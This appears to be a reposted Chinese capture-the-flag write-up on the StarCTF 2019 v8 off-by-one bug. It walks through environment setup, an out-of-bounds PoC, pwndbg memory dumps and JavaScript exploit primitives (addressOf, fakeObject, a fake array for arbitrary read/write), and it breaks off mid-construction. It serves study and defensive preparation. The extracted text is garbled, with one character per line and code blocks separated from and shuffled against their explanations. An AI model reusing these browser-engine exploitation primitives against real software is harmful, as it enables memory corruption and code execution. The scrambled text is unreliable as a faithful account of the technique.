论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[6758] 2020-06-08_StarCTF2019v8off-by-one漏洞学习笔记
文档创建者:
s7ckTeam
浏览次数:
9
最后更新:
2025-01-17
漏洞
9 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2020-06-08_StarCTF2019v8off-by-one漏洞学习笔记
S
t
a
r
C
T
F
2
0
1
9
v
8
o
f
f
-
b
y
-
o
n
e
漏
洞
学
习
笔
记
E
安
全
2
0
2
0
-
0
6
-
0
8
以
下
文
章
来
源
于
安
恒
信
息
安
全
研
究
院
,
作
者
猎
影
实
验
室
银
雁
冰
@
猎
影
实
验
室
前
言
前
言
从
2
0
1
9
年
开
始
,
与
C
h
r
o
m
e
相
关
的
在
野
0
d
a
y
披
露
开
始
增
多
,
仅
笔
者
所
知
的
有
如
下
几
个
:
C
V
E
编
号
发
现
厂
商
C
V
E
-
2
0
1
9
-
5
7
8
6
G
o
o
g
l
e
C
V
E
-
2
0
1
9
-
1
3
7
2
0
K
a
s
p
e
r
s
k
y
C
V
E
-
2
0
2
0
-
6
4
1
8
G
o
o
g
l
e
作
为
对
比
,
2
0
1
4
-
2
0
1
8
年
被
厂
商
披
露
的
C
h
r
o
m
e
在
野
0
d
a
y
数
量
为
0
,
上
述
数
据
表
明
接
下
来
会
有
更
多
的
C
h
r
o
m
e
在
野
0
d
a
y
出
现
。
站
在
防
守
方
的
角
度
,
一
旦
预
感
到
某
种
类
型
的
漏
洞
接
下
来
会
出
现
,
就
应
该
提
前
对
相
关
领
域
进
行
研
究
,
以
降
低
未
来
应
急
响
应
的
门
槛
。
基
于
此
,
笔
者
决
定
挑
一
个
例
子
上
手
C
h
r
o
m
e
下
的
漏
洞
调
试
。
那
么
,
选
择
哪
个
漏
洞
比
较
好
呢
?
一
番
对
比
后
,
笔
者
选
了
2
0
1
9
年
S
t
a
r
C
T
F
的
一
道
v
8
o
f
f
-
b
y
-
o
n
e
的
题
,
这
个
例
子
满
足
如
下
条
件
:
1
.
题
目
较
新
,
一
般
来
说
出
题
者
的
思
路
即
会
反
映
该
领
域
研
究
人
员
的
较
新
研
究
方
向
2
.
漏
洞
原
理
较
为
简
单
,
利
用
手
法
比
较
常
规
,
实
践
起
来
比
较
容
易
3
.
网
上
有
较
多
质
量
较
高
的
W
r
i
t
e
u
p
调
试
环
境
搭
建
调
试
环
境
搭
建
阅
读
若
干
W
r
i
t
e
u
p
后
,
笔
者
决
定
在
U
b
u
n
t
u
1
8
.
0
4
6
4
位
环
境
调
试
这
个
漏
洞
。
科
学
上
网
科
学
上
网
要
调
试
这
类
漏
洞
,
首
先
需
要
下
载
v
8
源
码
到
本
地
,
这
个
过
程
需
要
进
行
科
学
上
网
。
相
关
操
作
笔
者
参
考
了
M
i
g
r
a
i
n
e
的
文
章
。
配
置
好
科
学
上
网
工
具
后
,
使
用
d
e
p
o
t
_
t
o
o
l
s
f
e
t
c
h
v
8
代
码
前
,
请
不
要
忘
记
在
当
前
终
端
设
置
以
下
两
句
(
端
口
因
设
置
而
异
)
,
不
然
会
提
示
一
些
文
件
未
找
到
的
错
误
:
下
载
v
8
代
码
到
本
地
后
,
继
续
进
行
调
试
环
境
构
建
,
以
便
于
辅
助
调
试
,
笔
者
着
重
构
建
的
几
点
是
:
1
.
p
w
n
d
b
g
的
安
装
2
.
v
8
源
码
中
提
供
的
g
d
b
插
件
g
d
b
-
v
8
-
s
u
p
p
o
r
t
.
p
y
的
安
装
(
可
参
考
M
i
g
r
a
i
n
e
的
文
章
)
,
里
面
的
j
o
b
命
令
可
以
结
构
化
打
印
对
象
3
.
T
u
r
b
o
l
i
z
e
r
工
具
的
搭
建
,
此
工
具
对
于
当
前
漏
洞
用
处
不
大
,
但
对
涉
及
到
j
i
t
的
漏
洞
调
试
比
较
有
帮
助
(
可
参
考
m
e
m
2
0
1
9
的
文
章
)
安
恒
信
息
安
全
研
究
院
安
恒
信
息
安
全
研
究
院
.
一
群
技
术
宅
e
x
p
o
r
t
h
t
t
p
s
_
p
r
o
x
y
=
h
t
t
p
:
/
/
1
2
7
.
0
.
0
.
1
:
1
2
3
3
3
e
x
p
o
r
t
h
t
t
p
_
p
r
o
x
y
=
h
t
t
p
:
/
/
1
2
7
.
0
.
0
.
1
:
1
2
3
3
3
以
下
为
该
题
给
出
的
提
示
:
构
建
完
上
述
环
境
后
,
切
换
到
相
应
分
支
,
再
次
执
行
g
c
l
i
e
n
t
s
y
n
c
同
步
代
码
,
打
上
d
i
f
f
文
件
,
随
后
就
可
以
编
译
本
题
所
需
v
8
引
擎
了
:
以
上
命
令
编
译
得
到
一
个
d
e
b
u
g
版
本
的
v
8
,
编
译
得
到
的
可
执
行
文
件
为
d
8
,
运
行
d
8
时
,
-
-
a
l
l
o
w
-
n
a
t
i
v
e
s
-
s
y
n
t
a
x
选
项
定
义
了
一
些
v
8
运
行
时
支
持
函
数
,
以
便
于
本
地
调
试
,
配
合
-
-
a
l
l
o
w
-
n
a
t
i
v
e
s
-
s
y
n
t
a
x
选
项
,
我
们
可
以
在
j
s
源
码
中
增
加
若
干
调
用
以
辅
助
调
试
,
比
较
有
用
的
两
个
调
用
是
:
编
译
选
项
编
译
选
项
本
案
例
中
的
漏
洞
可
以
在
d
e
b
u
g
或
r
e
l
e
a
s
e
版
本
下
复
现
,
但
W
r
i
t
e
u
p
给
出
的
利
用
只
能
在
r
e
l
e
a
s
e
版
本
执
行
。
为
了
既
能
调
试
整
个
利
用
过
程
,
又
能
使
用
g
d
b
-
v
8
-
s
u
p
p
o
r
t
.
p
y
插
件
的
j
o
b
等
命
令
,
笔
者
选
择
编
译
一
个
添
加
了
编
译
选
项
的
r
e
l
e
a
s
e
版
本
,
具
体
地
,
在
编
译
r
e
l
e
a
s
e
版
本
前
,
在
o
u
t
.
g
n
/
x
6
4
.
r
e
l
e
a
s
e
/
a
r
g
s
.
g
n
文
件
中
增
加
以
下
编
译
选
项
:
编
译
完
成
后
,
即
可
用
调
试
器
启
动
r
e
l
e
a
s
e
版
本
的
d
8
,
基
本
调
试
操
作
如
下
:
漏
洞
测
试
漏
洞
测
试
D
i
f
f
文
件
分
析
文
件
分
析
这
部
分
请
参
考
《
从
一
道
C
T
F
题
零
基
础
学
V
8
漏
洞
利
用
》
这
篇
文
章
,
里
面
已
经
分
析
得
很
详
细
,
本
文
从
略
。
从
d
i
f
f
文
件
中
我
们
可
以
看
到
打
完
补
丁
的
v
8
源
码
中
存
在
一
个
o
f
f
b
y
o
n
e
问
题
,
可
以
在
此
基
础
上
实
现
越
界
读
/
写
,
继
而
实
现
类
型
混
淆
。
P
o
C
构
造
构
造
知
道
问
题
所
在
后
,
即
可
构
造
P
o
C
,
并
在
调
试
器
中
进
行
验
证
,
这
里
直
接
借
用
《
从
一
道
C
T
F
题
零
基
础
学
V
8
漏
洞
利
用
》
这
篇
文
章
中
给
出
的
P
o
C
,
如
下
:
Y
e
t
a
n
o
t
h
e
r
o
f
f
b
y
o
n
e
$
n
c
2
1
2
.
6
4
.
1
0
4
.
1
8
9
1
0
0
0
0
t
h
e
v
8
c
o
m
m
i
t
s
i
s
6
d
c
8
8
c
1
9
1
f
5
e
c
c
5
3
8
9
d
c
2
6
e
f
a
3
c
a
0
9
0
7
f
a
e
f
3
5
9
8
.
f
e
t
c
h
v
8
c
d
v
8
g
i
t
c
h
e
c
k
o
u
t
6
d
c
8
8
c
1
9
1
f
5
e
c
c
5
3
8
9
d
c
2
6
e
f
a
3
c
a
0
9
0
7
f
a
e
f
3
5
9
8
g
c
l
i
e
n
t
s
y
n
c
-
D
g
i
t
a
p
p
l
y
<
/
h
o
m
e
/
t
e
s
t
/
D
e
s
k
t
o
p
/
o
o
b
.
d
i
f
f
t
o
o
l
s
/
d
e
v
/
v
8
g
e
n
.
p
y
x
6
4
.
d
e
b
u
g
n
i
n
j
a
-
C
o
u
t
.
g
n
/
x
6
4
.
d
e
b
u
g
%
D
e
b
u
g
P
r
i
n
t
(
o
b
j
)
/
/
输
出
对
象
地
址
%
S
y
s
t
e
m
B
r
e
a
k
(
)
/
/
触
发
调
试
中
断
,
结
合
调
试
器
使
用
v
8
_
e
n
a
b
l
e
_
b
a
c
k
t
r
a
c
e
=
t
r
u
e
v
8
_
e
n
a
b
l
e
_
d
i
s
a
s
s
e
m
b
l
e
r
=
t
r
u
e
v
8
_
e
n
a
b
l
e
_
o
b
j
e
c
t
_
p
r
i
n
t
=
t
r
u
e
v
8
_
e
n
a
b
l
e
_
v
e
r
i
f
y
_
h
e
a
p
=
t
r
u
e
c
d
/
h
o
m
e
/
t
e
s
t
/
v
8
/
o
u
t
.
g
n
/
x
6
4
.
r
e
l
e
a
s
e
g
d
b
.
/
d
8
/
/
安
装
p
w
n
d
b
g
之
后
,
启
动
g
d
b
时
会
自
动
启
动
p
w
n
d
b
g
s
e
t
a
r
g
s
-
-
a
l
l
o
w
-
n
a
t
i
v
e
s
-
s
y
n
t
a
x
/
h
o
m
e
/
t
e
s
t
/
D
e
s
k
t
o
p
/
t
e
s
t
/
p
o
c
.
j
s
r
/
/
r
u
n
c
/
/
c
o
n
t
i
n
u
e
v
a
r
a
=
[
1
,
2
,
3
,
1
.
1
]
;
%
D
e
b
u
g
P
r
i
n
t
(
a
)
;
%
S
y
s
t
e
m
B
r
e
a
k
(
)
;
/
/
<
-
断
点
(
1
)
在
调
试
器
中
看
相
关
结
构
在
调
试
器
中
看
相
关
结
构
将
上
述
代
码
保
存
为
o
o
b
.
j
s
文
件
,
用
g
d
b
启
动
之
,
在
断
点
(
1
)
,
观
察
一
下
数
组
a
的
结
构
:
要
注
意
在
v
8
中
打
印
出
的
对
象
地
址
是
实
际
地
址
+
1
,
原
因
在
《
v
8
利
用
入
门
:
从
越
界
访
问
到
R
C
E
》
这
篇
文
章
中
有
说
到
:
为
了
加
快
垃
圾
回
收
的
效
率
需
要
区
分
n
u
m
b
e
r
和
指
针
,
v
8
的
做
法
是
使
用
低
位
为
标
志
位
对
它
们
进
行
区
分
。
由
于
3
2
位
、
6
4
位
系
统
的
指
针
会
字
节
对
齐
,
指
针
的
最
低
位
一
定
为
0
,
v
8
利
用
这
一
点
最
低
位
为
1
视
为
指
针
,
最
低
位
为
0
视
为
n
u
m
b
e
r
,
s
m
i
在
3
2
位
系
统
中
只
有
高
3
1
位
是
有
效
数
据
位
。
%
S
y
s
t
e
m
B
r
e
a
k
(
)
;
/
/
<
-
断
点
(
1
)
v
a
r
d
a
t
a
=
a
.
o
o
b
(
)
;
/
/
验
证
越
界
读
c
o
n
s
o
l
e
.
l
o
g
(
"
[
*
]
o
o
b
r
e
t
u
r
n
d
a
t
a
:
"
+
d
a
t
a
.
t
o
S
t
r
i
n
g
(
)
)
;
%
S
y
s
t
e
m
B
r
e
a
k
(
)
;
/
/
<
-
断
点
(
2
)
a
.
o
o
b
(
2
)
;
/
/
验
证
越
界
写
%
S
y
s
t
e
m
B
r
e
a
k
(
)
;
p
w
n
d
b
g
>
r
S
t
a
r
t
i
n
g
p
r
o
g
r
a
m
:
/
h
o
m
e
/
t
e
s
t
/
v
8
/
o
u
t
.
g
n
/
x
6
4
.
r
e
l
e
a
s
e
/
d
8
-
-
a
l
l
o
w
-
n
a
t
i
v
e
s
-
s
y
n
t
a
x
/
h
o
m
e
/
t
e
s
t
/
D
e
s
k
t
o
p
/
e
x
p
/
p
o
c
/
o
o
b
.
j
s
[
T
h
r
e
a
d
d
e
b
u
g
g
i
n
g
u
s
i
n
g
l
i
b
t
h
r
e
a
d
_
d
b
e
n
a
b
l
e
d
]
U
s
i
n
g
h
o
s
t
l
i
b
t
h
r
e
a
d
_
d
b
l
i
b
r
a
r
y
"
/
l
i
b
/
x
8
6
_
6
4
-
l
i
n
u
x
-
g
n
u
/
l
i
b
t
h
r
e
a
d
_
d
b
.
s
o
.
1
"
.
[
N
e
w
T
h
r
e
a
d
0
x
7
e
f
d
7
8
9
7
0
7
0
0
(
L
W
P
3
3
5
2
2
)
]
[
N
e
w
T
h
r
e
a
d
0
x
7
e
f
d
7
8
1
6
f
7
0
0
(
L
W
P
3
3
5
2
3
)
]
[
N
e
w
T
h
r
e
a
d
0
x
7
e
f
d
7
7
9
6
e
7
0
0
(
L
W
P
3
3
5
2
4
)
]
[
N
e
w
T
h
r
e
a
d
0
x
7
e
f
d
7
7
1
6
d
7
0
0
(
L
W
P
3
3
5
2
5
)
]
[
N
e
w
T
h
r
e
a
d
0
x
7
e
f
d
7
6
9
6
c
7
0
0
(
L
W
P
3
3
5
2
6
)
]
[
N
e
w
T
h
r
e
a
d
0
x
7
e
f
d
7
6
1
6
b
7
0
0
(
L
W
P
3
3
5
2
7
)
]
[
N
e
w
T
h
r
e
a
d
0
x
7
e
f
d
7
5
9
6
a
7
0
0
(
L
W
P
3
3
5
2
8
)
]
0
x
2
9
4
8
7
2
a
c
d
e
6
9
<
J
S
A
r
r
a
y
[
4
]
>
.
.
.
p
w
n
d
b
g
>
j
o
b
0
x
2
9
4
8
7
2
a
c
d
e
6
9
0
x
2
9
4
8
7
2
a
c
d
e
6
9
:
[
J
S
A
r
r
a
y
]
-
m
a
p
:
0
x
0
e
8
1
f
e
7
0
2
e
d
9
<
M
a
p
(
P
A
C
K
E
D
_
D
O
U
B
L
E
_
E
L
E
M
E
N
T
S
)
>
[
F
a
s
t
P
r
o
p
e
r
t
i
e
s
]
-
p
r
o
t
o
t
y
p
e
:
0
x
1
0
0
d
e
9
7
5
1
1
1
1
<
J
S
A
r
r
a
y
[
0
]
>
-
e
l
e
m
e
n
t
s
:
0
x
2
9
4
8
7
2
a
c
d
e
3
9
<
F
i
x
e
d
D
o
u
b
l
e
A
r
r
a
y
[
4
]
>
[
P
A
C
K
E
D
_
D
O
U
B
L
E
_
E
L
E
M
E
N
T
S
]
-
l
e
n
g
t
h
:
4
-
p
r
o
p
e
r
t
i
e
s
:
0
x
0
4
d
f
f
3
6
4
0
c
7
1
<
F
i
x
e
d
A
r
r
a
y
[
0
]
>
{
#
l
e
n
g
t
h
:
0
x
1
d
7
f
0
6
a
c
0
1
a
9
<
A
c
c
e
s
s
o
r
I
n
f
o
>
(
c
o
n
s
t
a
c
c
e
s
s
o
r
d
e
s
c
r
i
p
t
o
r
)
}
-
e
l
e
m
e
n
t
s
:
0
x
2
9
4
8
7
2
a
c
d
e
3
9
<
F
i
x
e
d
D
o
u
b
l
e
A
r
r
a
y
[
4
]
>
{
0
:
1
1
:
2
2
:
3
3
:
1
.
1
}
p
w
n
d
b
g
>
j
o
b
0
x
2
9
4
8
7
2
a
c
d
e
3
9
0
x
2
9
4
8
7
2
a
c
d
e
3
9
:
[
F
i
x
e
d
D
o
u
b
l
e
A
r
r
a
y
]
-
m
a
p
:
0
x
0
4
d
f
f
3
6
4
1
4
f
9
<
M
a
p
>
-
l
e
n
g
t
h
:
4
0
:
1
1
:
2
2
:
3
3
:
1
.
1
所
以
数
组
a
在
内
存
中
的
实
际
地
址
应
该
是
0
x
2
9
4
8
7
2
a
c
d
e
6
8
,
来
验
证
一
下
:
从
上
面
的
输
出
可
以
看
到
存
储
在
0
x
2
9
4
8
7
2
a
c
d
e
6
8
的
即
为
0
x
e
8
1
f
e
7
0
2
e
d
9
,
对
应
j
o
b
命
令
输
出
的
m
a
p
值
。
还
可
以
注
意
到
的
一
个
有
趣
的
现
象
是
P
o
C
中
数
组
a
的
e
l
e
m
e
n
t
s
对
象
地
址
位
于
a
对
象
之
前
的
0
x
3
0
,
且
这
两
个
对
象
是
紧
邻
的
:
浮
点
数
在
内
存
中
的
表
示
浮
点
数
在
内
存
中
的
表
示
在
v
8
中
,
浮
点
数
在
6
4
位
内
存
中
的
表
现
形
式
遵
循
I
E
E
E
7
5
4
6
4
位
存
储
格
式
,
具
体
如
下
:
关
于
I
E
E
E
7
5
4
6
4
位
的
更
多
细
节
读
者
可
自
行
上
网
查
阅
,
为
了
便
于
转
换
调
试
器
输
出
的
浮
点
值
到
普
通
表
示
形
式
,
可
以
编
写
如
下
的
p
y
t
h
o
n
脚
本
进
行
转
换
:
越
界
读
取
越
界
读
取
在
调
试
器
中
输
入
c
,
继
续
运
行
P
o
C
代
码
,
断
下
后
再
次
进
行
观
察
:
p
w
n
d
b
g
>
t
e
l
e
s
c
o
p
e
0
x
2
9
4
8
7
2
a
c
d
e
6
9
-
1
0
0
:
0
0
0
0
│
0
x
2
9
4
8
7
2
a
c
d
e
6
8
—
▸
0
x
e
8
1
f
e
7
0
2
e
d
9
◂
—
0
x
4
0
0
0
0
0
4
d
f
f
3
6
4
0
1
0
1
:
0
0
0
8
│
0
x
2
9
4
8
7
2
a
c
d
e
7
0
—
▸
0
x
4
d
f
f
3
6
4
0
c
7
1
◂
—
0
x
4
d
f
f
3
6
4
0
8
0
2
:
0
0
1
0
│
0
x
2
9
4
8
7
2
a
c
d
e
7
8
—
▸
0
x
2
9
4
8
7
2
a
c
d
e
3
9
◂
—
0
x
4
d
f
f
3
6
4
1
4
0
3
:
0
0
1
8
│
0
x
2
9
4
8
7
2
a
c
d
e
8
0
◂
—
0
x
4
0
0
0
0
0
0
0
0
0
4
:
0
0
2
0
│
0
x
2
9
4
8
7
2
a
c
d
e
8
8
◂
—
0
x
0
p
w
n
d
b
g
>
t
e
l
e
s
c
o
p
e
0
x
2
9
4
8
7
2
a
c
d
e
3
9
-
1
0
0
:
0
0
0
0
│
0
x
2
9
4
8
7
2
a
c
d
e
3
8
—
▸
0
x
4
d
f
f
3
6
4
1
4
f
9
◂
—
0
x
4
d
f
f
3
6
4
0
1
0
1
:
0
0
0
8
│
0
x
2
9
4
8
7
2
a
c
d
e
4
0
◂
—
0
x
4
0
0
0
0
0
0
0
0
0
2
:
0
0
1
0
│
0
x
2
9
4
8
7
2
a
c
d
e
4
8
◂
—
0
x
3
f
f
0
0
0
0
0
0
0
0
0
0
0
0
0
/
/
1
的
6
4
位
浮
点
数
表
示
形
式
0
3
:
0
0
1
8
│
0
x
2
9
4
8
7
2
a
c
d
e
5
0
◂
—
0
x
4
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
/
/
2
的
6
4
位
浮
点
数
表
示
形
式
0
4
:
0
0
2
0
│
0
x
2
9
4
8
7
2
a
c
d
e
5
8
◂
—
0
x
4
0
0
8
0
0
0
0
0
0
0
0
0
0
0
0
/
/
3
的
6
4
位
浮
点
数
表
示
形
式
0
5
:
0
0
2
8
│
0
x
2
9
4
8
7
2
a
c
d
e
6
0
◂
—
0
x
3
f
f
1
9
9
9
9
9
9
9
9
9
9
9
a
/
/
1
.
1
的
6
4
位
浮
点
数
表
示
形
式
0
6
:
0
0
3
0
│
0
x
2
9
4
8
7
2
a
c
d
e
6
8
—
▸
0
x
e
8
1
f
e
7
0
2
e
d
9
◂
—
0
x
4
0
0
0
0
0
4
d
f
f
3
6
4
0
1
/
/
数
组
a
的
m
a
p
0
7
:
0
0
3
8
│
0
x
2
9
4
8
7
2
a
c
d
e
7
0
—
▸
0
x
4
d
f
f
3
6
4
0
c
7
1
◂
—
0
x
4
d
f
f
3
6
4
0
8
1
(
符
号
位
)
+
1
1
(
指
数
部
分
)
+
5
2
(
尾
数
部
分
)
/
/
左
为
高
b
i
t
,
右
为
低
b
i
t
i
m
p
o
r
t
b
i
n
a
s
c
i
i
i
m
p
o
r
t
s
t
r
u
c
t
h
e
x
_
l
i
s
t
_
6
4
=
[
'
3
f
f
0
0
0
0
0
0
0
0
0
0
0
0
0
'
,
'
4
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
'
,
'
4
0
0
8
0
0
0
0
0
0
0
0
0
0
0
0
'
,
'
3
f
f
1
9
9
9
9
9
9
9
9
9
9
9
a
'
]
f
o
r
v
a
l
u
e
i
n
h
e
x
_
l
i
s
t
_
6
4
:
p
r
i
n
t
(
s
t
r
u
c
t
.
u
n
p
a
c
k
(
'
>
d
'
,
b
i
n
a
s
c
i
i
.
u
n
h
e
x
l
i
f
y
(
v
a
l
u
e
)
)
)
/
/
转
换
输
出
如
下
(
1
.
0
,
)
(
2
.
0
,
)
(
3
.
0
,
)
(
1
.
1
,
)
p
w
n
d
b
g
>
c
C
o
n
t
i
n
u
i
n
g
.
[
*
]
o
o
b
r
e
t
u
r
n
d
a
t
a
:
7
.
8
8
1
0
7
9
4
2
1
9
3
6
e
-
3
1
1
7
.
8
8
1
0
7
9
4
2
1
9
3
6
e
-
3
1
1
是
什
么
呢
?
如
果
我
们
将
数
组
a
的
m
a
p
值
转
化
为
6
4
位
浮
点
数
,
可
以
得
到
如
下
输
出
:
i
m
p
o
r
t
b
i
n
a
s
c
i
i
i
m
p
o
r
t
s
t
r
u
c
t
可
以
看
到
,
P
o
C
中
借
助
漏
洞
越
界
读
取
了
e
l
e
m
e
n
t
s
对
象
后
面
的
8
字
节
,
而
这
8
字
节
正
是
数
组
a
的
m
a
p
指
针
。
越
界
写
入
越
界
写
入
在
调
试
器
中
再
次
输
入
c
,
继
续
运
行
P
o
C
代
码
,
断
下
后
再
次
进
行
观
察
:
可
以
看
到
相
邻
的
数
组
a
的
m
a
p
指
针
被
改
写
了
,
改
写
后
的
值
为
数
值
2
对
应
的
6
4
位
浮
点
数
表
示
形
式
。
通
过
对
上
述
P
o
C
的
调
试
,
可
以
看
到
,
借
助
该
漏
洞
可
以
读
写
一
个
数
组
对
象
的
m
a
p
指
针
,
由
于
v
8
依
赖
m
a
p
类
型
对
j
s
对
象
进
行
解
析
(
这
部
分
的
相
关
细
节
网
上
有
详
解
,
此
处
不
再
过
多
展
开
)
,
所
以
可
以
借
助
该
漏
洞
对
一
个
数
组
对
象
的
m
a
p
指
针
进
行
改
写
,
从
而
产
生
类
型
混
淆
。
利
用
编
写
利
用
编
写
借
助
上
述
类
型
混
淆
可
以
将
一
个
浮
点
数
组
转
变
为
一
个
对
象
数
组
,
反
过
来
也
可
以
,
在
此
基
础
上
可
构
造
任
意
地
址
泄
露
和
任
意
地
址
写
入
两
个
原
语
。
任
意
地
址
泄
露
任
意
地
址
泄
露
首
先
构
造
任
意
地
址
泄
露
原
语
。
这
个
比
较
简
单
,
首
先
定
义
一
个
对
象
数
组
,
将
待
泄
露
的
对
象
地
址
保
存
到
这
个
对
象
数
组
,
随
后
借
助
漏
洞
改
写
对
象
数
组
的
m
a
p
指
针
,
使
其
变
为
一
个
浮
点
数
组
。
随
后
从
“
浮
点
数
组
”
中
读
取
对
象
指
针
。
h
e
x
_
l
i
s
t
_
6
4
=
[
'
0
0
0
0
0
e
8
1
f
e
7
0
2
e
d
9
'
]
f
o
r
v
a
l
u
e
i
n
h
e
x
_
l
i
s
t
_
6
4
:
p
r
i
n
t
(
s
t
r
u
c
t
.
u
n
p
a
c
k
(
'
>
d
'
,
b
i
n
a
s
c
i
i
.
u
n
h
e
x
l
i
f
y
(
v
a
l
u
e
)
)
)
/
/
转
换
输
出
如
下
(
7
.
8
8
1
0
7
9
4
2
1
9
3
6
e
-
3
1
1
,
)
p
w
n
d
b
g
>
t
e
l
e
s
c
o
p
e
0
x
2
9
4
8
7
2
a
c
d
e
3
9
-
1
0
0
:
0
0
0
0
│
0
x
2
9
4
8
7
2
a
c
d
e
3
8
—
▸
0
x
4
d
f
f
3
6
4
1
4
f
9
◂
—
0
x
4
d
f
f
3
6
4
0
1
0
1
:
0
0
0
8
│
0
x
2
9
4
8
7
2
a
c
d
e
4
0
◂
—
0
x
4
0
0
0
0
0
0
0
0
0
2
:
0
0
1
0
│
0
x
2
9
4
8
7
2
a
c
d
e
4
8
◂
—
0
x
3
f
f
0
0
0
0
0
0
0
0
0
0
0
0
0
0
3
:
0
0
1
8
│
0
x
2
9
4
8
7
2
a
c
d
e
5
0
◂
—
0
x
4
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
4
:
0
0
2
0
│
0
x
2
9
4
8
7
2
a
c
d
e
5
8
◂
—
0
x
4
0
0
8
0
0
0
0
0
0
0
0
0
0
0
0
0
5
:
0
0
2
8
│
0
x
2
9
4
8
7
2
a
c
d
e
6
0
◂
—
0
x
3
f
f
1
9
9
9
9
9
9
9
9
9
9
9
a
0
6
:
0
0
3
0
│
0
x
2
9
4
8
7
2
a
c
d
e
6
8
◂
—
0
x
4
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
<
-
可
以
看
数
组
a
的
m
a
p
指
针
被
改
写
了
0
7
:
0
0
3
8
│
0
x
2
9
4
8
7
2
a
c
d
e
7
0
—
▸
0
x
4
d
f
f
3
6
4
0
c
7
1
◂
—
0
x
4
d
f
f
3
6
4
0
8
v
a
r
o
b
j
=
{
"
a
"
:
1
}
;
v
a
r
o
b
j
_
a
r
r
a
y
=
[
o
b
j
]
;
v
a
r
f
l
o
a
t
_
a
r
r
a
y
=
[
1
.
1
]
;
v
a
r
o
b
j
_
a
r
r
a
y
_
m
a
p
=
o
b
j
_
a
r
r
a
y
.
o
o
b
(
)
;
v
a
r
f
l
o
a
t
_
a
r
r
a
y
_
m
a
p
=
f
l
o
a
t
_
a
r
r
a
y
.
o
o
b
(
)
;
f
u
n
c
t
i
o
n
a
d
d
r
e
s
s
O
f
(
o
b
j
_
t
o
_
l
e
a
k
)
{
o
b
j
_
a
r
r
a
y
[
0
]
=
o
b
j
_
t
o
_
l
e
a
k
;
o
b
j
_
a
r
r
a
y
.
o
o
b
(
f
l
o
a
t
_
a
r
r
a
y
_
m
a
p
)
;
l
e
t
o
b
j
_
a
d
d
r
=
f
2
i
(
o
b
j
_
a
r
r
a
y
[
0
]
)
-
1
n
;
o
b
j
_
a
r
r
a
y
.
o
o
b
(
o
b
j
_
a
r
r
a
y
_
m
a
p
)
;
r
e
t
u
r
n
o
b
j
_
a
d
d
r
;
}
需
要
注
意
的
是
,
泄
露
出
来
的
对
象
指
针
是
6
4
位
浮
点
数
形
式
,
先
要
将
其
转
换
为
6
4
位
整
数
形
式
,
然
后
减
1
。
1
后
面
加
n
是
让
其
变
成
6
4
位
的
B
i
g
I
n
t
,
否
则
运
算
时
会
提
示
类
型
不
一
致
。
将
浮
点
数
转
为
整
数
需
要
定
义
一
个
f
2
i
函
数
,
这
个
函
数
的
基
本
思
路
是
定
义
一
个
A
r
r
a
y
B
u
f
f
e
r
对
象
,
随
后
同
时
用
其
初
始
化
一
个
F
l
o
a
t
6
4
A
r
r
a
y
数
组
和
一
个
B
i
g
U
i
n
t
6
4
A
r
r
a
y
数
组
,
通
过
用
两
个
数
组
操
作
同
一
片
内
存
,
实
现
6
4
位
浮
点
数
与
6
4
位
整
数
之
间
的
转
换
,
后
面
的
i
2
f
同
理
:
任
意
对
象
伪
造
任
意
对
象
伪
造
任
意
对
象
伪
造
的
思
路
和
任
意
地
址
泄
露
的
思
路
一
致
。
先
布
局
一
块
内
存
,
然
后
将
该
内
存
的
首
地
址
传
入
一
个
浮
点
数
组
,
接
着
利
用
漏
洞
将
该
浮
点
数
组
的
m
a
p
改
写
为
对
象
数
组
的
m
a
p
,
最
后
将
伪
造
的
地
址
以
对
象
的
形
式
进
行
读
取
:
任
意
地
址
读
写
任
意
地
址
读
写
有
了
任
意
地
址
泄
露
和
任
意
对
象
伪
造
两
个
原
语
后
,
理
论
上
就
可
以
实
现
代
码
执
行
了
,
大
部
分
W
r
i
t
e
u
p
中
的
思
路
是
先
借
助
上
述
两
个
原
语
实
现
任
意
地
址
读
写
,
采
用
的
思
路
是
构
造
一
个
f
a
k
e
_
a
r
r
a
y
如
下
:
《
从
一
道
C
T
F
题
零
基
础
学
V
8
漏
洞
利
用
》
这
篇
文
章
里
面
有
提
到
,
如
果
f
a
k
e
a
r
r
a
y
在
构
造
时
没
有
最
后
两
个
p
r
o
p
e
r
t
i
e
s
,
相
关
结
构
会
在
内
存
中
发
生
变
化
,
本
文
}
v
a
r
b
u
f
=
n
e
w
A
r
r
a
y
B
u
f
f
e
r
(
1
6
)
;
v
a
r
f
l
o
a
t
6
4
=
n
e
w
F
l
o
a
t
6
4
A
r
r
a
y
(
b
u
f
)
;
v
a
r
b
i
g
U
i
n
t
6
4
=
n
e
w
B
i
g
U
i
n
t
6
4
A
r
r
a
y
(
b
u
f
)
;
f
u
n
c
t
i
o
n
f
2
i
(
f
)
{
f
l
o
a
t
6
4
[
0
]
=
f
;
r
e
t
u
r
n
b
i
g
U
i
n
t
6
4
[
0
]
;
}
f
u
n
c
t
i
o
n
i
2
f
(
i
)
{
b
i
g
U
i
n
t
6
4
[
0
]
=
i
;
r
e
t
u
r
n
f
l
o
a
t
6
4
[
0
]
;
}
f
u
n
c
t
i
o
n
f
a
k
e
O
b
j
e
c
t
(
a
d
d
r
_
t
o
_
f
a
k
e
)
{
f
l
o
a
t
_
a
r
r
a
y
[
0
]
=
i
2
f
(
a
d
d
r
_
t
o
_
f
a
k
e
+
1
n
)
;
f
l
o
a
t
_
a
r
r
a
y
.
o
o
b
(
o
b
j
_
a
r
r
a
y
_
m
a
p
)
;
l
e
t
f
a
k
e
d
_
o
b
j
=
f
l
o
a
t
_
a
r
r
a
y
[
0
]
;
f
l
o
a
t
_
a
r
r
a
y
.
o
o
b
(
f
l
o
a
t
_
a
r
r
a
y
_
m
a
p
)
;
r
e
t
u
r
n
f
a
k
e
d
_
o
b
j
;
}
v
a
r
f
a
k
e
_
a
r
r
a
y
=
[
f
l
o
a
t
_
a
r
r
a
y
_
m
a
p
,
/
/
m
a
p
i
2
f
(
0
n
)
,
/
/
p
r
o
t
o
t
y
p
e
i
2
f
(
0
x
4
1
4
1
4
1
4
1
n
)
,
/
/
e
l
e
m
e
n
t
s
i
2
f
(
0
x
1
0
0
0
0
